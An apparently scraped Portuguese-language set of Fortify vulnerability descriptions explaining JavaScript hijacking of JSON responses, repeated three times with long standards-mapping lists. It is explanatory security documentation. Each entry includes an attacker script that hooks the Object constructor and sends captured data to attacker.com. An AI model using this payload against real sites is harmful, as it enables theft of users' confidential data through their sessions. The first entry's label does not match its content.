[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.2.3 - Web Software Access Controls, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.intent_manipulation_redirection
Abstract
Os aplicativos que utilizam a notação JavaScript para transportar dados confidenciais podem ser vulneráveis a sequestros de JavaScript, o que permite a um invasor não autorizado ler dados confidenciais por meio de um aplicativo vulnerável.
Explanation
Um aplicativo pode ser vulnerável a sequestros de JavaScript nas seguintes situações: 1) Ele usa objetos JavaScript como formato de transferência de dados 2) Ele lida com dados confidenciais. Como vulnerabilidades de sequestro de JavaScript não ocorrem como resultado direto de um erro de codificação, os Fortify Secure Coding Rulepacks chamam a atenção a possíveis vulnerabilidades de sequestro de JavaScript identificando o código que parece gerar JavaScript em uma resposta HTTP.

Navegadores da Web impõem a Política de Mesma Origem a fim de proteger os usuários contra sites mal-intencionados. A Política de Mesma Origem exige que, para que o JavaScript possa acessar o conteúdo de uma página da Web, tanto ele quanto essa página da Web devem ser provenientes do mesmo domínio. Sem a Política de Mesma Origem, um site mal-intencionado poderia fornecer um JavaScript capaz de carregar informações confidenciais de outros sites usando as credenciais de um cliente, analisar essas informações e depois as comunicar ao invasor. Sequestros de JavaScript permitem que um invasor ignore a Política de Mesma Origem no caso que um aplicativo Web usa JavaScript para comunicar informações confidenciais. A brecha na Política de Mesma Origem é que ela permite que o JavaScript proveniente de qualquer site seja incluído e executado no contexto de qualquer outro site. Mesmo que um site mal-intencionado não consiga examinar diretamente os dados carregados de um site vulnerável no cliente, ele ainda pode tirar proveito dessa brecha configurando um ambiente que lhe permite testemunhar a execução do JavaScript e de quaisquer efeitos colaterais relevantes que isso possa provocar. Como muitos aplicativos Web 2.0 usam o JavaScript como um mecanismo de transporte de dados, é comum que eles sejam vulneráveis, enquanto os aplicativos Web tradicionais não o são.

O formato mais popular para a comunicação de informações em JavaScript é o JSON (JavaScript Object Notation). A RFC JSON define a sintaxe JSON como um subconjunto da sintaxe literal de objetos JavaScript. O JSON se baseia em dois tipos de estruturas de dados: matrizes e objetos. Qualquer formato de transporte de dados no qual as mensagens possam ser interpretadas como uma ou mais instruções JavaScript válidas é vulnerável a sequestros de JavaScript. O JSON facilita o sequestro de JavaScript pelo fato de que uma matriz JSON representa por si só uma instrução JavaScript válida. Como as matrizes são uma forma natural para a comunicação de listas, elas são comumente utilizadas sempre que um aplicativo precisa comunicar vários valores. Em outras palavras, uma matriz JSON é diretamente vulnerável a sequestros de JavaScript. Um objeto JSON apenas será vulnerável se estiver encapsulado em alguma outra construção JavaScript que por si só representa uma instrução JavaScript válida.

Exemplo 1: O exemplo a seguir começa mostrando uma interação JSON legítima entre os componentes cliente e servidor de um aplicativo Web usado para gerenciar listas de clientes potenciais. Em seguida, ele mostra como um invasor pode imitar o cliente e obter acesso aos dados confidenciais retornados pelo servidor. Observe que esse exemplo foi concebido para navegadores baseados no Mozilla. Outros navegadores tradicionais não permitem que construtores nativos sejam substituídos quando um objeto é criado sem o uso do novo operador.

O cliente solicita dados de um servidor e avalia o resultado como JSON com o seguinte código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Quando o código é executado, ele gera uma solicitação HTTP que se parece com o seguinte:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(Nesta resposta HTTP e também na seguinte, omitimos os cabeçalhos HTTP que não são diretamente relevantes para essa explicação.)
O servidor responde com uma matriz no formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


Nesse caso, o JSON contém informações confidenciais associadas ao usuário atual (uma lista de clientes potenciais). Outros usuários não podem acessar essas informações sem saberem o identificador de sessão do usuário. (Na maioria dos aplicativos Web modernos, o identificador de sessão é armazenado como um cookie.) No entanto, se uma vítima visitar um site mal-intencionado, este poderá recuperar as informações via sequestro de JavaScript. Se uma vítima puder ser enganada e levada a visitar uma página da Web que contém o seguinte código mal-intencionado, as informações de clientes potenciais dessa vítima serão enviadas ao site do invasor.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


O código mal-intencionado usa uma tag de script para incluir o objeto JSON na página atual. O navegador da Web enviará o cookie de sessão apropriado com a solicitação. Em outras palavras, essa solicitação será tratada como se tivesse sido originada pelo aplicativo legítimo.

Quando a matriz JSON chegar no cliente, ela será avaliada no contexto da página mal-intencionada. A fim de testemunhar a avaliação do JSON, a página mal-intencionada redefiniu a função JavaScript usada para criar novos objetos. Dessa maneira, o código mal-intencionado inseriu um gancho que lhe permite obter acesso à criação de cada objeto e transmitir o conteúdo do objeto de volta para o site mal-intencionado. Outros ataques podem em vez disso substituir o construtor padrão para matrizes. Aplicativos desenvolvidos para uso em um mashup por vezes invocam uma função de retorno de chamada no final de cada mensagem JavaScript. O propósito dessa função de retorno de chamada é ser definida por outro aplicativo no mashup. A função de retorno de chamada faz com que um ataque de sequestro JavaScript se torne algo muito simples - tudo o que o invasor precisa fazer é definir a função. Um aplicativo pode ser favorável para mashup ou seguro, mas não pode ser ambos. Se o usuário não estiver conectado ao site vulnerável, o invasor poderá compensar a situação solicitando que esse usuário faça login e, em seguida, exibindo a página de login legítima do aplicativo.

Não se trata de um ataque de phishing (o invasor não obtém acesso as credenciais do usuário) e, por isso, contramedidas anti-phishing não conseguirão anulá-lo. Ataques mais complexos podem fazer uma série de solicitações ao aplicativo usando JavaScript para gerar tags de script dinamicamente. Essa mesma técnica é usada às vezes para criar mashups de aplicativo. A única diferença é que, nesse cenário de mashup, um dos aplicativos envolvidos é mal-intencionado.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[12] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[13] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[28] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.java.javascript_hijacking
Abstract
Os aplicativos que utilizam a notação JavaScript para transportar dados confidenciais podem ser vulneráveis a sequestros de JavaScript, o que permite a um invasor não autorizado ler dados confidenciais por meio de um aplicativo vulnerável.
Explanation
Um aplicativo pode ser vulnerável a sequestros de JavaScript nas seguintes situações: 1) Ele usa objetos JavaScript como formato de transferência de dados 2) Ele lida com dados confidenciais. Como vulnerabilidades de sequestro de JavaScript não ocorrem como resultado direto de um erro de codificação, os Fortify Secure Coding Rulepacks chamam a atenção a possíveis vulnerabilidades de sequestro de JavaScript identificando o código que parece gerar JavaScript em uma resposta HTTP.

Os navegadores da Web aplicam a Política de Mesma Origem para proteger os usuários de sites mal-intencionados. A mesma Política de Mesma Origem exige que, para que o JavaScript possa acessar o conteúdo de uma página da Web, tanto o JavaScript quanto a página da Web devem ser provenientes do mesmo domínio. Sem a Política de Mesma Origem, um site mal-intencionado poderia fornecer JavaScript capaz de carregar informações confidenciais de outros sites usando as credenciais de um cliente, analisar essas informações e, depois, comunicá-las ao invasor. O sequestro de JavaScript permite que um invasor ignore a política da mesma origem no caso de um aplicativo da web usar JavaScript para comunicar informações confidenciais. A brecha na Política de Mesma Origem é que ela permite que o JavaScript de qualquer site seja incluído e executado no contexto de qualquer outro site. Mesmo que um site mal-intencionado não possa examinar diretamente quaisquer dados carregados de um site vulnerável no cliente, ele ainda pode tirar vantagem dessa brecha, configurando um ambiente que permite testemunhar a execução do JavaScript e quaisquer efeitos colaterais relevantes que possa ter. Como muitos aplicativos da Web 2.0 usam JavaScript como mecanismo de transporte de dados, eles costumam ser vulneráveis, ao contrário dos aplicativos tradicionais da Web.

O formato mais popular para a comunicação de informações em JavaScript é o JSON (JavaScript Object Notation). A RFC JSON define a sintaxe JSON como um subconjunto da sintaxe literal de objetos JavaScript. O JSON se baseia em dois tipos de estruturas de dados: matrizes e objetos. Qualquer formato de transporte de dados no qual as mensagens possam ser interpretadas como uma ou mais instruções JavaScript válidas é vulnerável a sequestros de JavaScript. O JSON facilita o sequestro de JavaScript pelo fato de que uma matriz JSON representa por si só uma instrução JavaScript válida. Como as matrizes são uma forma natural para a comunicação de listas, elas são comumente utilizadas sempre que um aplicativo precisa comunicar vários valores. Em outras palavras, uma matriz JSON é diretamente vulnerável a sequestros de JavaScript. Um objeto JSON apenas será vulnerável se estiver encapsulado em alguma outra construção JavaScript que por si só representa uma instrução JavaScript válida.

Exemplo 1: O exemplo a seguir começa mostrando uma interação JSON legítima entre os componentes cliente e servidor de um aplicativo Web usado para gerenciar listas de clientes potenciais. Em seguida, ele mostra como um invasor pode imitar o cliente e obter acesso aos dados confidenciais retornados pelo servidor. Observe que esse exemplo foi concebido para navegadores baseados no Mozilla. Outros navegadores tradicionais não permitem que construtores nativos sejam substituídos quando um objeto é criado sem o uso do novo operador.

O cliente solicita dados de um servidor e avalia o resultado como JSON com o seguinte código:

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Quando o código é executado, ele gera uma solicitação HTTP que se parece com o seguinte:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(Nesta resposta HTTP e também na seguinte, omitimos os cabeçalhos HTTP que não são diretamente relevantes para essa explicação.)
O servidor responde com uma matriz no formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


Nesse caso, o JSON contém informações confidenciais associadas ao usuário atual (uma lista de clientes potenciais). Outros usuários não podem acessar essas informações sem saberem o identificador de sessão do usuário. (Na maioria dos aplicativos Web modernos, o identificador de sessão é armazenado como um cookie.) No entanto, se uma vítima visitar um site mal-intencionado, este poderá recuperar as informações via sequestro de JavaScript. Se uma vítima puder ser enganada e levada a visitar uma página da Web que contém o seguinte código mal-intencionado, as informações de clientes potenciais dessa vítima serão enviadas ao site do invasor.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


O código mal-intencionado usa uma tag de script para incluir o objeto JSON na página atual. O navegador da Web enviará o cookie de sessão apropriado com a solicitação. Em outras palavras, essa solicitação será tratada como se tivesse sido originada pelo aplicativo legítimo.

Quando a matriz JSON chegar no cliente, ela será avaliada no contexto da página mal-intencionada. A fim de testemunhar a avaliação do JSON, a página mal-intencionada redefiniu a função JavaScript usada para criar novos objetos. Dessa maneira, o código mal-intencionado inseriu um gancho que lhe permite obter acesso à criação de cada objeto e transmitir o conteúdo do objeto de volta para o site mal-intencionado. Outros ataques podem em vez disso substituir o construtor padrão para matrizes. Aplicativos desenvolvidos para uso em um mashup por vezes invocam uma função de retorno de chamada no final de cada mensagem JavaScript. O propósito dessa função de retorno de chamada é ser definida por outro aplicativo no mashup. A função de retorno de chamada faz com que um ataque de sequestro JavaScript se torne algo muito simples - tudo o que o invasor precisa fazer é definir a função. Um aplicativo pode ser favorável para mashup ou seguro, mas não pode ser ambos. Se o usuário não estiver conectado ao site vulnerável, o invasor poderá compensar a situação solicitando que esse usuário faça login e, em seguida, exibindo a página de login legítima do aplicativo.

Não se trata de um ataque de phishing (o invasor não obtém acesso as credenciais do usuário) e, por isso, contramedidas anti-phishing não conseguirão anulá-lo. Ataques mais complexos podem fazer uma série de solicitações ao aplicativo usando JavaScript para gerar tags de script dinamicamente. Essa mesma técnica é usada às vezes para criar mashups de aplicativo. A única diferença é que, nesse cenário de mashup, um dos aplicativos envolvidos é mal-intencionado.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[12] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[13] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[28] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.javascript.javascript_hijacking
Abstract
Os aplicativos que utilizam a notação JavaScript para transportar dados confidenciais podem ser vulneráveis a sequestros de JavaScript, o que permite a um invasor não autorizado ler dados confidenciais por meio de um aplicativo vulnerável. As matrizes de JavaScript podem ser roubadas se o mecanismo de JavaScript do navegador permitir o envenenamento do construtor de matriz.
Explanation
Um aplicativo pode ser vulnerável a sequestros de JavaScript nas seguintes situações:
1) Se ele usa objetos JavaScript como formato de transferência de dados
2) Se ele lida com dados confidenciais. Como vulnerabilidades de sequestro de JavaScript não ocorrem como resultado direto de um erro de codificação, os Fortify Secure Coding Rulepacks chamam a atenção a possíveis vulnerabilidades de sequestro de JavaScript identificando o código que parece gerar JavaScript em uma resposta HTTP.

Navegadores da Web impõem a Política de Mesma Origem a fim de proteger os usuários contra sites mal-intencionados. A Política de Mesma Origem exige que, para que o JavaScript possa acessar o conteúdo de uma página da Web, tanto ele quanto essa página da Web devem ser provenientes do mesmo domínio. Sem a Política de Mesma Origem, um site mal-intencionado poderia fornecer um JavaScript capaz de carregar informações confidenciais de outros sites usando as credenciais de um cliente, analisar essas informações e depois as comunicar ao invasor. Sequestros de JavaScript permitem que um invasor ignore a Política de Mesma Origem no caso que um aplicativo Web usa JavaScript para comunicar informações confidenciais. A brecha na Política de Mesma Origem é que ela permite que o JavaScript proveniente de qualquer site seja incluído e executado no contexto de qualquer outro site. Mesmo que um site mal-intencionado não consiga examinar diretamente os dados carregados de um site vulnerável no cliente, ele ainda pode tirar proveito dessa brecha configurando um ambiente que lhe permite testemunhar a execução do JavaScript e de quaisquer efeitos colaterais relevantes que isso possa provocar. Como muitos aplicativos Web 2.0 usam o JavaScript como um mecanismo de transporte de dados, é comum que eles sejam vulneráveis, enquanto os aplicativos Web tradicionais não o são.

O formato mais popular para a comunicação de informações em JavaScript é o JSON (JavaScript Object Notation). A RFC JSON define a sintaxe JSON como um subconjunto da sintaxe literal de objetos JavaScript. O JSON se baseia em dois tipos de estruturas de dados: matrizes e objetos. Qualquer formato de transporte de dados no qual as mensagens possam ser interpretadas como uma ou mais instruções JavaScript válidas é vulnerável a sequestros de JavaScript. O JSON facilita o sequestro de JavaScript pelo fato de que uma matriz JSON representa por si só uma instrução JavaScript válida. Como as matrizes são uma forma natural para a comunicação de listas, elas são comumente utilizadas sempre que um aplicativo precisa comunicar vários valores. Em outras palavras, uma matriz JSON é diretamente vulnerável a sequestros de JavaScript. Um objeto JSON apenas será vulnerável se estiver encapsulado em alguma outra construção JavaScript que por si só representa uma instrução JavaScript válida.

Exemplo 1: O exemplo a seguir começa mostrando uma interação JSON legítima entre os componentes cliente e servidor de um aplicativo Web usado para gerenciar listas de clientes potenciais. Em seguida, ele mostra como um invasor pode imitar o cliente e obter acesso aos dados confidenciais retornados pelo servidor. Observe que esse exemplo foi concebido para navegadores baseados no Mozilla. Outros navegadores tradicionais não permitem que construtores nativos sejam substituídos quando um objeto é criado sem o uso do novo operador.

O cliente solicita dados de um servidor e avalia o resultado como JSON com o seguinte código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Quando o código é executado, ele gera uma solicitação HTTP que se parece com o seguinte:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(Nesta resposta HTTP e também na seguinte, omitimos os cabeçalhos HTTP que não são diretamente relevantes para essa explicação.)
O servidor responde com uma matriz no formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


Nesse caso, o JSON contém informações confidenciais associadas ao usuário atual (uma lista de clientes potenciais). Outros usuários não podem acessar essas informações sem saberem o identificador de sessão do usuário. (Na maioria dos aplicativos Web modernos, o identificador de sessão é armazenado como um cookie.) No entanto, se uma vítima visitar um site mal-intencionado, este poderá recuperar as informações via sequestro de JavaScript. Se uma vítima puder ser enganada e levada a visitar uma página da Web que contém o seguinte código mal-intencionado, as informações de clientes potenciais dessa vítima serão enviadas ao site do invasor.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


O código mal-intencionado usa uma tag de script para incluir o objeto JSON na página atual. O navegador da Web enviará o cookie de sessão apropriado com a solicitação. Em outras palavras, essa solicitação será tratada como se tivesse sido originada pelo aplicativo legítimo.

Quando a matriz JSON chegar no cliente, ela será avaliada no contexto da página mal-intencionada. A fim de testemunhar a avaliação do JSON, a página mal-intencionada redefiniu a função JavaScript usada para criar novos objetos. Dessa maneira, o código mal-intencionado inseriu um gancho que lhe permite obter acesso à criação de cada objeto e transmitir o conteúdo do objeto de volta para o site mal-intencionado. Outros ataques podem em vez disso substituir o construtor padrão para matrizes. Aplicativos desenvolvidos para uso em um mashup por vezes invocam uma função de retorno de chamada no final de cada mensagem JavaScript. O propósito dessa função de retorno de chamada é ser definida por outro aplicativo no mashup. A função de retorno de chamada faz com que um ataque de sequestro JavaScript se torne algo muito simples - tudo o que o invasor precisa fazer é definir a função. Um aplicativo pode ser favorável para mashup ou seguro, mas não pode ser ambos. Se o usuário não estiver conectado ao site vulnerável, o invasor poderá compensar a situação solicitando que esse usuário faça login e, em seguida, exibindo a página de login legítima do aplicativo.

Não se trata de um ataque de phishing (o invasor não obtém acesso as credenciais do usuário) e, por isso, contramedidas anti-phishing não conseguirão anulá-lo. Ataques mais complexos podem fazer uma série de solicitações ao aplicativo usando JavaScript para gerar tags de script dinamicamente. Essa mesma técnica é usada às vezes para criar mashups de aplicativo. A única diferença é que, nesse cenário de mashup, um dos aplicativos envolvidos é mal-intencionado.

Exemplo 2: Este código mostra um exemplo de método de visualização do Django que envia uma resposta JSON contendo dados confidenciais na forma de uma matriz JSON.


from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Joe Walker JSON is not as safe as people think it is
[3] Jeremiah Grossman Advanced Web Attack Techniques using GMail
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[5] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[6] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[7] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[10] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
